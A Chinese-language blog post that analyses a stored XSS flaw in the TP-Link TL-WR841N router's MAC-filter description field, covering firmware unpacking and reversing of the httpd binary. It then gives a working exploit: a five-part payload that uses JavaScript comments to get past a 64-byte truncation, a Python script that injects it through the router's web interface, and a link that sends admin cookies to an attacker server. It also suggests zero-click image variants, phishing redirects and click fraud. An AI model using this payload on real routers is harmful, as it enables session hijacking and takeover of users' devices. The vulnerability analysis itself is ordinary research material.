依然是点开安全情报,逛了一圈,然后发现一个有意思的东西:
TP-link 841N型号的路由器今日公开了一个XSS漏洞(乐),以前一直在弄二进制层面的漏洞,这次刚好既有设备又有新洞,于是乎有了这篇文章。
固件下载
因为是刚公开的漏洞,所以直接去官网下载最新版固件
下载链接:https://static.tp-link.com/upload/firmware/2022/202208/20220819/wr841n(EU)_V11_211209.rar
下载下来之后进行解包:
binwalk -Me xxx
直接解出文件系统
有了文件系统对于后续对web代码的审计有了很大的帮助
漏洞复现
根据CVE详情中提到的信息,可以得知问题出在MAC地址过滤设置的位置,在分析漏洞成因之前,先来试试能否成功复现出攻击效果。
连接上路由器以后,进入无线网络MAC地址过滤界面,点击添加条目:
点击保存以后,发现浏览器成功弹窗:
这里为了演示方便使用了alert(1),后面会做更进一步的漏洞利用。
漏洞分析
确认漏洞存在以后,接下来从源码的角度分析一下为什么会出现XSS漏洞,经过实验可以发现,每次点开无线MAC地址过滤界面,都会产生弹窗,所以是一个存储型XSS。既然是存储型的XSS,那就要关注两个地方,一个是写入的过程,一个是展出的过程。通过保存,会将MAC地址和描述字段写入固件中,然后当用户点击无线MAC地址过滤的时候,将所有设置写成html代码渲染到前端。
将写入和访问的包拦截下来:
可以看到无论是写入还是访问都绕不开WlanMacFilterRpm,全局搜索一下看看它在哪里出现过:
前面在html中出现的我们暂且不用管它,主要关注一下/usr/bin/httpd程序,拖进IDA中,然后搜索字符串,找到对应逻辑,在写入环节比较重要的就是对desc的处理上,应该说对desc的不正确过滤和不严谨处理占了这个xss漏洞责任的一半:
可以看到程序通过httpGetEnv函数直接获取变量值,然后通过一个do-while循环消除掉了desc开头的空格,随后利用strncpy函数复制64字节到栈上后续用来保存,这里的64自己要记住,后面会用到。
复制到栈上以后,没有经过任何过滤,就加入到了WlanMacFilt结构体中:
相比之下对于其他字段如mac或key字段,则存在一些check如:
在获取信息并写到响应包里的过程中,同样没有任何的特殊字符过滤:
这就导致当我们写入一个<script>alert(1)</script>的时候,httpd程序会将其原封不动的打印到响应包里,这就导致当我们访问页面的时候,触发script代码并执行alert(1)
漏洞利用
仅仅停留在alert(1)未免有些草率,这个地方既然是存储型的XSS,是不是意味着我们可以进一步做cookie获取或者钓鱼页面跳转呢,可以,但是没那么容易。还记得上面提到的64字节吗,每次写入的时候多出64自己的部分会被截断,但是一般的xss利用语句方式如下:
document.write('<a herf="http://192.168.1.101:8000?cookie='+document.cookie+'">getcookie</ a>')
字节数要远多于64,所以需要考虑将payload分段写入,分段写入会带来一个问题,程序会在desc后面插入一段js代码用作编辑和删除按钮:
所以单纯的分段写入不太行,这里仍然是利用desc字段不检测特殊字符的特点,利用js里的注释符,将两个desc中间的js代码直接注释掉:
可以看到在分段写入payload的时候,只需要保证上一段以/开头,下一段以/结尾就可以将中间的编辑和删除的js代码直接注释掉,为了保证分段写完以后能正确拼接,所以要保证一些函数和变量名完整,只能选择中间的字符串部分进行分段。
据此将payload合理分成五段,写出最终的payload脚本
get = ['<script>/*' , '*/document.write(\'<a%20href=\'%2b/*' , '*/\'"http://192.168.1.101:8000\'%2b/*' , '*/\'?cookie=\'%2bdocument.cookie/*' , '*/%2b\'">1</ a>\');</script>']
re = requests.get(url=url , headers=headers)
print('start')
for i in range(0,5):
url = 'http://192.168.1.1/userRpm/WlanMacFilterRpm.htm?Mac='+mac[i]+'&Desc='+get[i]+'&entryEnabled=1&Changed=0&SelIndex=0&Page=1&Save=%B1%A3+%B4%E6'
re = requests.get(url=url , headers=headers)
print('ok')
就可以将路由器后台的无线MAC过滤界面修改成如下所示:
此时我们开一个python服务端,然后点击1,就会在服务端收到用户的cookie:
当然选择这种写法是为了方便演示,如果用<img>来写的话,则可以做到无需点击,在打卡此界面,图片开始渲染的时候就能在服务端收到cookie,除了泄露cookie外,做网页跳转,钓鱼连接,或者直接在里面植入一个请求某网站的js代码,用来给其他网站刷点击量等等效果。